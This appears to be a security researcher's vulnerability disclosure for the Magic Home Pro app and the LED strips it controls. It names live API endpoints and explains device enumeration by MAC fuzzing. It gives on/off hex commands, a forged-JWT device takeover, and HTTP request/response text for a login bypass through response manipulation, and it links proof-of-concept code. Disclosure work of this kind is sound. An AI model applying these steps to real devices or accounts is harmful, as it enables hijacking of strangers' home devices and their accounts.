With the prevalence of IoT devices flooding the mainstream marketplace, we tend to see a large proliferation of these devices lacking even basic security controls. Many of these devices are targeted for mainstream household environments and due to often unfettered internet access and device control through insecure mobile applications, this makes such devices a great playground for security researchers and malicious actors alike. One such device is the JadeHomic RGB Led Light Strip Kit and its associated mobile device application Magic Home Pro. I decided to turn my attention to investigating the security of this device and managed to uncover multiple vulnerabilities that could theoretically affect millions of devices.
This vulnerability allows for any authenticated user to utilize their current authorization level to interrogate and control devices that are not currently apart of their registered account. This attack uses an API call to '/app/getBindedUserListByMacAddress/ZG001?macAddress=<mac address>', where the registered mac address can be uncovered by simply fuzzing the last three bytes of the mac address itself. The resulting HTTP response where a valid device exists will return the Username, User Unique Identifier (userUniID) and the Binded Unique ID (bindedUniID) of the associated user account. Using the above method, an attacker is now able to utilize a subsequent POST request to API endpoint '/app/sendCommandBatch/ZG001' using the newly enumerated mac address as a parameter to control the device. The device can now be controlled by an attacker by sending compatible hex strings '71230fa3' and '71240fa4' which translate to ON and OFF commands respectively.
After a successful enumeration of targeted devices, it was further possible to use the discovered 'userID' and 'uniID' within a forged JWT payload section to conduct a device takeover of another users' device. Utilizing a well-known JWT signature-bypass vulnerability, it was found that a malicious actor could take over a device of another user and therefore place it under the full control of the malicious actor. This attack uses an API call to '/app/shareDevice/ZG001' coupled with the 'friendUserID' JSON parameter to add the device to the attacker's device list. This gives the attacker full control of the endpoint device.
Utilizing the enumerated information above, an attacker is able to login to the mobile application using HTTP response manipulation. This results in an authentication bypass.
Original HTTP Login Request via Magic Home Pro Mobile app
POST /app/login/ZG001 HTTP/1.1
User-Agent: Magic Home/1.5.1(ANDROID,9,en-US)
Accept-Language: en-US
Accept: application/json
token:
Content-Type: application/json; charset=utf-8
Content-Length: 117
Host: wifij01us.magichue.net
Connection: close
Accept-Encoding: gzip, deflate
{"userID":"<victim userID>","password":"<arbitrary password>","clientID":"<arbitrary ClientID>"}
Original HTTP Response
HTTP/1.1 200
Server: nginx/1.10.3
Date: Thu, 08 Oct 2020 00:08:45 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 37
{"code":10033,"msg":"Password error"}
Edited HTTP Response
HTTP/1.1 200
Server: nginx/1.10.3
Date: Mon, 06 Jul 2020 12:32:02 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 907
{"code":0,"msg":"","data":{"webApi":"wifij01us.magichue.net/app","webPathOta":"http://wifij01us.magichue.net/app/ota/download","tcpServerController":"TCP,8816,ra8816us02.magichue.net","tcpServerBulb":"TCP,8815,ra8815us02.magichue.net","tcpServerControllerOld":"TCP,8806,mhc8806us.magichue.net","tcpServerBulbOld":"TCP,8805,mhb8805us.magichue.net","sslMqttServer":"ssl://192.168.0.112:1883","serverName":"Global","serverCode":"US","userName":"<victim userID>","userEmail":"<victim email>","userUniID":"<uniID gleaned from enumeration>"},"token":"<forged JWT based on gleaned data from API call>"}
At this time no patch is currently available for this issue however in order to limit the exposure it is recommended that network access to these devices should be permitted to authorized users only through the use of proper Access Control Lists and network segmentation.
TWSL2020-010: Multiple Vulnerabilities in Magic Home Pro Mobile Application
POC code: https://github.com/9lyph/CVE-2020-27199